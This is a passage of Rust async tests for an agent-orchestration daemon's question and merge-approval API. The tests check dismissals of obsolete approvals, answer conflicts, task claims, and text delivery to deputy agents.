12179 if owner == "later" {
12180 task.runs.push("later-run".into());
12181 }
12182 if owner != "missing" {
12183 fx.queue().put(&mut task).unwrap();
12184 }
12185 let ui = Arc::new(Ui::new(
12186 fx.queue(),
12187 fx.questions(),
12188 fx.talks(),
12189 fx.runs(),
12190 fx.home.path().into(),
12191 state.repo.clone(),
12192 ));
12193 let response = question_answer(
12194 State(ui),
12195 Path(q.id.clone()),
12196 Ok(Json(NewAnswer {
12197 choice: Some(crate::merge_decision::DISMISS.into()),
12198 text: None,
12199 ..Default::default()
12200 })),
12201 )
12202 .await
12203 .unwrap();
12204 assert_eq!(
12205 response.0.question.resolution().as_deref(),
12206 Some(crate::merge_decision::DISMISS)
12207 );
12208 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12209 assert_eq!(disk.status, RunStatus::Superseded);
12210 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12211 assert!(!crate::merge_decision::resumable_hold(&disk));
12212 assert_eq!(
12213 serde_json::to_value(&disk.pr).unwrap(),
12214 serde_json::to_value(&stale.pr).unwrap()
12215 );
12216 assert_eq!(fx.questions().count_open(), 0);
12217 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12218 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12219 if owner == "missing" {
12220 assert!(fx.queue().list().is_empty());
12221 } else {
12222 let after = fx.queue().get(&task.id).unwrap();
12223 assert_eq!(
12224 after.status,
12225 if owner == "current" {
12226 TaskStatus::Done
12227 } else {
12228 task.status
12229 }
12230 );
12231 assert_eq!(after.runs, task.runs);
12232 assert_eq!(after.instruction, task.instruction);
12233 assert_eq!(after.action_applied(&q.id), owner == "current");
12234 }
12235 }
12236 }
12237
12238 #[tokio::test]
12239 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12240 let fx = Fixture::start().await;
12241 let mut state = obsolete_approval_state();
12242 state.status = RunStatus::Landing;
12243 state.parked = true;
12244 state.driver_exited = true;
12245 let mut q = Question::new(
12246 state.id.clone(),
12247 crate::land::APPROVAL_NODE.into(),
12248 "land".into(),
12249 "Superseded PR approval".into(),
12250 "Original review evidence".into(),
12251 vec!["merge".into(), "hold".into()],
12252 );
12253 state.land_approval = Some(crate::run::LandApproval {
12254 question: q.id.clone(),
12255 head: "old-reviewed-head".into(),
12256 });
12257 state.save_under(fx.home.path()).unwrap();
12260 let stale_driver = state.clone();
12261 fx.questions().put(&mut q).unwrap();
12262 let path = fx
12263 .home
12264 .path()
12265 .join("questions")
12266 .join(format!("{}.json", q.id));
12267 let mut legacy = serde_json::to_value(&q).unwrap();
12268 legacy["schema"] = 9.into();
12269 legacy.as_object_mut().unwrap().remove("merge_target");
12270 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12271
12272 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12275 let answer_path = format!("/api/questions/{}/answer", q.id);
12276 let res = fx.post(&answer_path, Some(&body)).await;
12277 assert_eq!(res.status, 200, "{}", res.body);
12278 let disk = fx.questions().get(&q.id).unwrap();
12279 assert_eq!(
12280 disk.resolution().as_deref(),
12281 Some(crate::merge_decision::DISMISS)
12282 );
12283 assert!(disk.detail.starts_with("Original review evidence"));
12284 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12285 assert_eq!(retired.status, RunStatus::Superseded);
12286 assert_eq!(
12287 serde_json::to_value(&retired.pr).unwrap(),
12288 serde_json::to_value(&state.pr).unwrap()
12289 );
12290 assert!(!retired.merge_decision.as_ref().unwrap().closed);
12291 assert!(!crate::merge_decision::resumable_hold(&retired));
12292 assert!(fx.queue().list().is_empty());
12293 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12294 let addr = Fixture::serve(
12296 fx.home.path(),
12297 PathBuf::from("/repo/magi"),
12298 launch_idle,
12299 None,
12300 )
12301 .await;
12302 let reconnected = Fixture {
12303 home: fx.home,
12304 addr,
12305 };
12306 let listed = reconnected.get("/api/questions").await.json();
12307 assert!(
12308 listed
12309 .as_array()
12310 .unwrap()
12311 .iter()
12312 .all(|q| q["status"] != "open")
12313 );
12314 assert_eq!(listed[0]["id"], q.id, "history remains available");
12315 assert_eq!(
12316 reconnected.get("/api/health").await.json()["questions_open"],
12317 0
12318 );
12319 assert_eq!(
12320 reconnected
12321 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12322 .await
12323 .status,
12324 409
12325 );
12326 assert!(
12328 reconnected
12329 .questions()
12330 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12331 .is_err()
12332 );
12333 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12336 }
12337
12338 #[tokio::test]
12339 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12340 let fx = Fixture::start().await;
12341 let mut state = obsolete_approval_state();
12342 state.status = RunStatus::Landing;
12343 state.driver_exited = true;
12344 let mut q = Question::new(
12345 state.id.clone(),
12346 crate::land::APPROVAL_NODE.into(),
12347 "land".into(),
12348 "Obsolete approval".into(),
12349 String::new(),
12350 vec!["merge".into(), "hold".into()],
12351 );
12352 state.land_approval = Some(crate::run::LandApproval {
12353 question: q.id.clone(),
12354 head: "head".into(),
12355 });
12356 state.save_under(fx.home.path()).unwrap();
12357 fx.questions().put(&mut q).unwrap();
12358 let mut task = Task::new(
12359 "Owner".into(),
12360 "Original instruction".into(),
12361 state.repo.clone(),
12362 Source::Human,
12363 );
12364 task.runs = vec![state.id.clone(), "later-run".into()];
12365 fx.queue().put(&mut task).unwrap();
12366 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12367 let claim = fx.queue().claim(&task.id).unwrap();
12368 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12369 let path = format!("/api/questions/{}/answer", q.id);
12370 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12371 assert!(fx.questions().get(&q.id).unwrap().status.open());
12372 drop(claim);
12373 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12374 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12375 assert!(fx.questions().get(&q.id).unwrap().status.open());
12376 drop(publication);
12377 state.driver_exited = false;
12379 state.driver_pid = None;
12380 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
12382 assert_eq!(
12383 state.liveness_under(fx.home.path(), false),
12384 crate::run::Liveness::Unknown
12385 );
12386
12387 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12388 state.driver_exited = true;
12389 state.land_armed_head = Some("head".into());
12390 state.save_under(fx.home.path()).unwrap();
12391 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12392 state.land_armed_head = None;
12393 state.save_under(fx.home.path()).unwrap();
12394 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12395 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12396 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12397 }
12398
12399 #[tokio::test]
12400 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12401 let fx = Fixture::start().await;
12402 let mut state = obsolete_approval_state();
12403 state.status = RunStatus::Landing;
12404 state.driver_exited = true;
12405 let mut q = Question::new(
12406 state.id.clone(),
12407 crate::land::APPROVAL_NODE.into(),
12408 "land".into(),
12409 "Obsolete approval".into(),
12410 String::new(),
12411 vec!["merge".into(), "hold".into()],
12412 );
12413 state.land_approval = Some(crate::run::LandApproval {
12414 question: q.id.clone(),
12415 head: "head".into(),
12416 });
12417 state.save_under(fx.home.path()).unwrap();
12418 fx.questions().put(&mut q).unwrap();
12419 let mut task = Task::new(
12420 "Owner".into(),
12421 "Original instruction".into(),
12422 state.repo.clone(),
12423 Source::Human,
12424 );
12425 task.runs.push(state.id.clone());
12426 task.status = TaskStatus::Parked;
12427 fx.queue().put(&mut task).unwrap();
12428 state.merge_decision = Some(crate::merge_decision::Decision {
12431 question: q.id.clone(),
12432 target: crate::merge_decision::Target {
12433 pr: state.pr.as_ref().unwrap().url.clone(),
12434 head: "head".into(),
12435 language: "ja".into(),
12436 },
12437 choice: crate::merge_decision::DISMISS.into(),
12438 closed: false,
12439 replacement_run: None,
12440 replacement_pr: None,
12441 });
12442 state.status = RunStatus::Superseded;
12443 state.save_under(fx.home.path()).unwrap();
12444 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12445 let path = format!("/api/questions/{}/answer", q.id);
12446 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12447 let done = fx.queue().get(&task.id).unwrap();
12448 assert_eq!(done.status, TaskStatus::Done);
12449 assert_eq!(done.runs, task.runs);
12450 assert_eq!(done.instruction, task.instruction);
12451 assert!(done.action_applied(&q.id));
12452 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12453 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12454 assert!(!fx.questions().get(&q.id).unwrap().status.open());
12455 }
12456
12457 #[tokio::test]
12458 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12459 let home = TempDir::new().unwrap();
12460 let ui = Arc::new(Ui::new(
12461 Queue::at(home.path().join("queue")),
12462 Questions::at(home.path().join("questions")),
12463 Talks::at(home.path().join("talks")),
12464 home.path().join("runs"),
12465 home.path().to_owned(),
12466 home.path().to_owned(),
12467 ));
12468 let talks = &ui.talks;
12469 let chat =
12470 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12471 let mut q = Question::new(
12472 "run".into(),
12473 crate::land::APPROVAL_NODE.into(),
12474 "land".into(),
12475 "Merge?".into(),
12476 String::new(),
12477 vec!["merge".into(), "hold".into()],
12478 );
12479 q.routed_task = Some("task".into());
12480 q.routed_chat = Some(chat.id.clone());
12481 q.merge_target = Some(crate::merge_decision::Target {
12482 pr: "https://example.test/pull/1".into(),
12483 head: "head-a".into(),
12484 language: "en".into(),
12485 });
12486 ui.questions.put(&mut q).unwrap();
12487 let send = |body| {
12488 question_answer(
12489 State(ui.clone()),
12490 Path(q.id.clone()),
12491 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12492 )
12493 };
12494 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12495 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12496 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12497 assert!(send(wrong_chat).await.is_err());
12498 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12499 assert!(send(stale).await.is_err());
12500 assert!(ui.questions.get(&q.id).unwrap().status.open());
12501 assert!(send(button.clone()).await.is_ok());
12502 assert_eq!(
12503 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12504 Some("merge")
12505 );
12506 assert!(send(button).await.is_err());
12507 }
12508
12509 #[tokio::test]
12510 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12511 let home = TempDir::new().unwrap();
12512 let ui = Arc::new(Ui::new(
12513 Queue::at(home.path().join("queue")),
12514 Questions::at(home.path().join("questions")),
12515 Talks::at(home.path().join("talks")),
12516 home.path().join("runs"),
12517 home.path().to_owned(),
12518 home.path().to_owned(),
12519 ));
12520 for choice in [crate::land::APPROVE, crate::land::HOLD] {
12521 let mut q = Question::new(
12522 "run".into(),
12523 crate::land::APPROVAL_NODE.into(),
12524 "land".into(),
12525 "Merge?".into(),
12526 String::new(),
12527 vec!["merge".into(), choice.into()],
12528 );
12529 q.routed_task = Some("task".into());
12530 q.merge_target = Some(crate::merge_decision::Target {
12531 pr: "https://example.test/pull/1".into(),
12532 head: "head-a".into(),
12533 language: "en".into(),
12534 });
12535 ui.questions.put(&mut q).unwrap();
12536 let answer = |c: &str| {
12537 question_answer(
12538 State(ui.clone()),
12539 Path(q.id.clone()),
12540 Ok(Json(
12541 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12542 .unwrap(),
12543 )),
12544 )
12545 };
12546 let _ = answer(choice).await.unwrap();
12547 assert_eq!(
12548 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12549 Some(choice)
12550 );
12551 }
12552 }
12553
12554 #[tokio::test]
12555 async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12556 let home = TempDir::new().unwrap();
12557 let ui = Arc::new(Ui::new(
12558 Queue::at(home.path().join("queue")),
12559 Questions::at(home.path().join("questions")),
12560 Talks::at(home.path().join("talks")),
12561 home.path().join("runs"),
12562 home.path().to_owned(),
12563 home.path().to_owned(),
12564 ));
12565 let mut q = Question::new(
12566 "run".into(),
12567 crate::github_text::ASK_NODE.into(),
12568 "posting-gate".into(),
12569 "Post?".into(),
12570 String::new(),
12571 vec!["use fallback".into()],
12572 );
12573 q.routed_task = Some("task".into());
12574 ui.questions.put(&mut q).unwrap();
12575 let sent = question_answer(
12576 State(ui.clone()),
12577 Path(q.id.clone()),
12578 Ok(Json(
12579 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12580 .unwrap(),
12581 )),
12582 )
12583 .await;
12584 let _ = sent.unwrap();
12585 assert_eq!(
12586 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12587 Some("use fallback")
12588 );
12589 }
12590
12591 #[tokio::test]
12592 async fn merge_decision_api_persists_exact_target_and_selected_action() {
12593 let fx = Fixture {
12594 home: TempDir::new().unwrap(),
12595 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12596 };
12597 for choice in [
12598 crate::land::HOLD,
12599 crate::land::REPAIR,
12600 crate::land::APPROVE,
12601 crate::merge_decision::WITHDRAW,
12602 "reimplement:beta",
12603 ] {
12604 let mut q = Question::new(
12605 "old-run".into(),
12606 crate::land::APPROVAL_NODE.into(),
12607 "land".into(),
12608 "Decision".into(),
12609 "Review findings".into(),
12610 vec![
12611 "merge".into(),
12612 "hold".into(),
12613 crate::land::REPAIR.into(),
12614 crate::merge_decision::WITHDRAW.into(),
12615 "reimplement:beta".into(),
12616 ],
12617 );
12618 q.merge_target = Some(crate::merge_decision::Target {
12619 pr: "https://github.com/example/repo/pull/42".into(),
12620 head: "exact-reviewed-head".into(),
12621 language: "ja".into(),
12622 });
12623 q.consult = Some(ask::ChatConsult {
12624 talk: "another-conversation".into(),
12625 at: jiff::Timestamp::now(),
12626 });
12627 fx.questions().put(&mut q).unwrap();
12628 let ui = Arc::new(Ui::new(
12629 fx.queue(),
12630 fx.questions(),
12631 fx.talks(),
12632 fx.runs(),
12633 fx.home.path().into(),
12634 std::path::PathBuf::from("."),
12635 ));
12636 let response = question_answer(
12637 State(ui.clone()),
12638 Path(q.id.clone()),
12639 Ok(Json(NewAnswer {
12640 choice: Some(choice.into()),
12641 text: None,
12642 ..Default::default()
12643 })),
12644 )
12645 .await
12646 .unwrap();
12647 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12648 let disk = fx.questions().get(&q.id).unwrap();
12649 assert_eq!(disk.merge_target, q.merge_target);
12650 assert_eq!(disk.consult, q.consult);
12651 assert_eq!(disk.resolution().as_deref(), Some(choice));
12652 assert!(
12653 question_answer(
12654 State(ui),
12655 Path(q.id.clone()),
12656 Ok(Json(NewAnswer {
12657 choice: Some("merge".into()),
12658 text: None,
12659 ..Default::default()
12660 }))
12661 )
12662 .await
12663 .is_err(),
12664 "an already settled decision cannot turn into merge approval"
12665 );
12666 }
12667 }
12668
12669 #[tokio::test]
12670 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12671 let fx = Fixture {
12672 home: TempDir::new().unwrap(),
12673 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12674 };
12675 let mut state = crate::land::tests::repair_state(true, true);
12676 state.status = RunStatus::Landing;
12677 state.parked = true;
12678 state.driver_exited = true;
12679 let mut task = Task::new(
12680 "Existing PR owner".into(),
12681 state.instruction.clone(),
12682 state.repo.clone(),
12683 Source::Human,
12684 );
12685 task.runs.push(state.id.clone());
12686 task.status = TaskStatus::Parked;
12687 fx.queue().put(&mut task).unwrap();
12688 let mut q = Question::new(
12689 state.id.clone(),
12690 crate::land::APPROVAL_NODE.into(),
12691 "land".into(),
12692 "Contested merge".into(),
12693 "Original evidence".into(),
12694 vec!["merge".into(), "hold".into()],
12695 );
12696 state.land_approval = Some(crate::run::LandApproval {
12697 question: q.id.clone(),
12698 head: "reviewed-head".into(),
12699 });
12700 state.save_under(fx.home.path()).unwrap();
12701 fx.questions().put(&mut q).unwrap();
12702 task.hold_manual(Some("Pause this PR".into()));
12704 fx.queue().put(&mut task).unwrap();
12705 let ui = Arc::new(Ui::new(
12708 fx.queue(),
12709 fx.questions(),
12710 fx.talks(),
12711 fx.runs(),
12712 fx.home.path().to_path_buf(),
12713 state.repo.clone(),
12714 ));
12715 let response = question_answer(
12716 State(ui),
12717 Path(q.id.clone()),
12718 Ok(Json(NewAnswer {
12719 choice: Some(crate::land::REPAIR.into()),
12720 text: None,
12721 ..Default::default()
12722 })),
12723 )
12724 .await
12725 .unwrap();
12726 assert_eq!(response.0.question.id, q.id);
12727 let upgraded = fx.questions().get(&q.id).unwrap();
12728 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12729 assert!(upgraded.detail.starts_with("Original evidence"));
12730 let claim = fx.queue().claim(&task.id).unwrap();
12731 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12732 assert!(
12733 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12734 "an existing driver keeps its claim"
12735 );
12736 drop(claim);
12737 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12738 let resumed = fx.queue().get(&task.id).unwrap();
12739 assert_eq!(
12740 resumed
12741 .resume_override
12742 .as_ref()
12743 .unwrap()
12744 .pinned_run
12745 .as_deref(),
12746 Some(state.id.as_str())
12747 );
12748 assert!(resumed.status.runnable());
12749 assert_eq!(resumed.instruction, task.instruction);
12750 assert_eq!(resumed.runs, task.runs);
12751 assert!(resumed.action_applied(&q.id));
12752 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12753 assert_eq!(fx.queue().list().len(), 1);
12754 assert_eq!(
12755 fx.queue().get(&task.id).unwrap().resume_override,
12756 resumed.resume_override
12757 );
12758 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12759 assert!(
12760 disk.merge_repairs.is_empty(),
12761 "only the claimed run driver may execute repair"
12762 );
12763 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12764 }
12765
12766 #[tokio::test]
12767 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12768 let fx = Fixture::start().await;
12769 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12770 let path = format!("/api/questions/{id}/answer");
12771
12772 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12773 assert_eq!(res.status, 200, "{}", res.body);
12774 let body = res.json();
12775 assert_eq!(body["status"], "answered");
12776 assert_eq!(body["answer"]["choice"], "Redis");
12777
12778 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12782 assert_eq!(again.status, 409, "{}", again.body);
12783 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12784 }
12785
12786 #[tokio::test]
12787 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12788 let home = tempfile::tempdir().unwrap();
12789 let ui = delta_test_ui(home.path());
12790 let mut q = Question::new(
12791 "task".into(),
12792 crate::land::APPROVAL_NODE.into(),
12793 "land".into(),
12794 "Explain?".into(),
12795 String::new(),
12796 vec!["hold".into()],
12797 );
12798 q.deputy = Some(ask::Deputy::new("context".into()));
12799 ui.questions.put(&mut q).unwrap();
12800 let mut cfg = stub_config();
12801 cfg.daemon.max_deputies = 0;
12802 let mut status = crate::daemon::Status::new();
12803 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12804 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12805 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12806 let error = question_say(
12807 State(ui.clone()),
12808 Path(q.id.clone()),
12809 Ok(Json(NewSay {
12810 body: "Explain the findings".into(),
12811 })),
12812 )
12813 .await
12814 .unwrap_err();
12815 assert_eq!(
12816 error.text_reason,
12817 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12818 );
12819 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12820
12821 let mut text = Question::new(
12822 "task".into(),
12823 "ask".into(),
12824 "operator".into(),
12825 "Which name?".into(),
12826 String::new(),
12827 vec![],
12828 );
12829 ui.questions.put(&mut text).unwrap();
12830 let Json(view) = question_answer(
12831 State(ui.clone()),
12832 Path(text.id.clone()),
12833 Ok(Json(NewAnswer {
12834 choice: None,
12835 text: Some("chosen name".into()),
12836 ..Default::default()
12837 })),
12838 )
12839 .await
12840 .unwrap();
12841 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12842 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12843 }
12844
12845 #[tokio::test]
12846 async fn question_text_handler_admission_without_transport() {
12847 let home = tempfile::tempdir().unwrap();
12848 let ui = delta_test_ui(home.path());
12849 let mut q = Question::new(
12850 "task".into(),
12851 crate::land::APPROVAL_NODE.into(),
12852 "land".into(),
12853 "May this PR merge?".into(),
12854 String::new(),
12855 vec!["hold".into()],
12856 );
12857 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12858 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12859 ui.questions.put(&mut q).unwrap();
12860 let say = || {
12861 Ok(Json(NewSay {
12862 body: "Explain the findings".into(),
12863 }))
12864 };
12865 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12866 .await
12867 .unwrap_err();
12868 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12869 let response = rejected.into_response();
12870 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12871 .await
12872 .unwrap();
12873 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12874 assert_eq!(body["code"], "question_text_unavailable");
12875 assert_eq!(body["reason"], "deputy_exhausted");
12876 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12877 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12878 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12879 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12880 .await
12881 .unwrap();
12882 assert_eq!(view.text_delivery.state, "live");
12883 assert!(view.question.waiter.is_none());
12884 assert!(view.question.cwd.is_none());
12885 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12886 ui.questions.drop_lease(&q.id);
12887 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12888 .await
12889 .unwrap_err();
12890 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12891 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12892 let _ = question_answer(
12893 State(ui.clone()),
12894 Path(q.id.clone()),
12895 Ok(Json(NewAnswer {
12896 choice: Some("hold".into()),
12897 text: None,
12898 ..Default::default()
12899 })),
12900 )
12901 .await
12902 .unwrap();
12903 assert_eq!(
12904 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12905 Some("hold")
12906 );
12907 }
12908
12909 #[tokio::test]
12910 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12911 let fx = Fixture::start().await;
12912 let store = fx.questions();
12913 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12914 store
12915 .update(&id, |q| {
12916 q.node = crate::land::APPROVAL_NODE.to_owned();
12917 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12918 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12919 Ok(())
12920 })
12921 .unwrap();
12922 let path = format!("/api/questions/{id}/say");
12923 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12924 assert_eq!(refused.status, 422, "{}", refused.body);
12925 assert!(
12926 refused.json()["error"]
12927 .as_str()
12928 .unwrap()
12929 .contains("deputy_exhausted")
12930 );
12931 assert!(store.get(&id).unwrap().thread.is_empty());
12932
12933 store.beat(&id, ask::WaiterKind::Deputy);
12935 let view = fx.get("/api/questions").await.json();
12936 assert_eq!(view[0]["text_delivery"]["state"], "live");
12937 let accepted = fx
12938 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12939 .await;
12940 assert_eq!(accepted.status, 200, "{}", accepted.body);
12941 let before = std::fs::read(store.path_of(&id)).unwrap();
12942
12943 store.drop_lease(&id);
12946 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12947 assert_eq!(refused.status, 422, "{}", refused.body);
12948 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12949 let held = fx
12950 .post(
12951 &format!("/api/questions/{id}/answer"),
12952 Some(r#"{"choice":"hold"}"#),
12953 )
12954 .await;
12955 assert_eq!(held.status, 200, "{}", held.body);
12956 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12957 }
12958
12959 #[tokio::test]
12960 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12961 let repo = tempfile::tempdir().unwrap();
12962 let mut cfg = stub_config();
12963 cfg.daemon.max_deputies = 0;
12964 std::fs::write(
12965 repo.path().join("magi.toml"),
12966 toml::to_string(&cfg).unwrap(),
12967 )
12968 .unwrap();
12969 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12970 let mut status = crate::daemon::Status::new();
12971 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12972 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12973 let id = ask(&fx, "Explain?", &["hold"]);
12974 fx.questions()
12975 .update(&id, |q| {
12976 q.node = crate::land::APPROVAL_NODE.into();
12977 q.deputy = Some(ask::Deputy::new("context".into()));
12978 q.deputy.as_mut().unwrap().agent = "stub".into();
12979 Ok(())
12980 })
12981 .unwrap();
12982 cfg.daemon.max_deputies = 1;
12983 std::fs::write(
12984 repo.path().join("magi.toml"),
12985 toml::to_string(&cfg).unwrap(),
12986 )
12987 .unwrap();
12988 let view = fx.get("/api/questions").await.json();
12989 assert_eq!(view[0]["deputies_enabled"], true);
12990 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12991 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12992 let res = fx
12993 .post(
12994 &format!("/api/questions/{id}/say"),
12995 Some(r#"{"body":"Please explain"}"#),
12996 )
12997 .await;
12998 assert_eq!(res.status, 422, "{}", res.body);
12999 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13000 }
13001
13002 #[tokio::test]
13003 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13004 let fx = Fixture::start().await;
13005 let id = ask(&fx, "No seat", &[]);
13006 let store = fx.questions();
13007 let before = std::fs::read(store.path_of(&id)).unwrap();
13008 let res = fx
13009 .post(
13010 &format!("/api/questions/{id}/say"),
13011 Some(r#"{"body":"hello"}"#),
13012 )
13013 .await;
13014 assert_eq!(res.status, 422, "{}", res.body);
13015 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13016 let res = fx
13017 .post(
13018 &format!("/api/questions/{id}/answer"),
13019 Some(r#"{"text":"hello"}"#),
13020 )
13021 .await;
13022 assert_eq!(res.status, 200, "{}", res.body);
13023 assert_eq!(
13024 store.get(&id).unwrap().resolution().as_deref(),
13025 Some("hello")
13026 );
13027 }
13028
13029 #[tokio::test]
13030 async fn saying_something_appends_a_turn_without_answering() {
13031 let fx = Fixture::start().await;
13032 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13033 fx.questions().beat(&id, ask::WaiterKind::Asker);
13034 let path = format!("/api/questions/{id}/say");
13035
13036 let res = fx
13037 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13038 .await;
13039 assert_eq!(res.status, 200, "{}", res.body);
13040 let body = res.json();
13041 assert_eq!(body["status"], "open", "talking back is not a decision");
13042 assert_eq!(body["answer"], Value::Null);
13043 assert_eq!(body["thread"][0]["who"], "operator");
13044 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13045 assert_eq!(body["waiting_on_agent"], true);
13046 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13048 }
13049
13050 #[tokio::test]
13051 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13052 let fx = Fixture::start().await;
13053 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13054
13055 let list = fx.get("/api/questions").await.json();
13056 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13057
13058 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13059 assert_eq!(res.status, 409, "{}", res.body);
13060 let q = fx.questions().get(&id).unwrap();
13061 assert!(q.status.open());
13062 assert!(q.consult.is_none());
13063 }
13064
13065 #[tokio::test]
13066 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13067 let fx = Fixture::start().await;
13068 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13069 let cfg = Config {
13070 agents: vec![crate::config::AgentSpec {
13071 id: "mock".to_owned(),
13072 kind: crate::config::AgentKind::Command,
13073 model: None,
13074 command: vec!["true".to_owned()],
13075 extra_args: Vec::new(),
13076 env: Default::default(),
13077 prompt_delivery: None,
13078 max_turn_secs: None,
13079 }],
13080 ..Config::default()
13081 };
13082 let talk = crate::talk::begin(
13083 &fx.talks(),
13084 &cfg,
13085 fx.home.path().to_path_buf(),
13086 Some("mock"),
13087 )
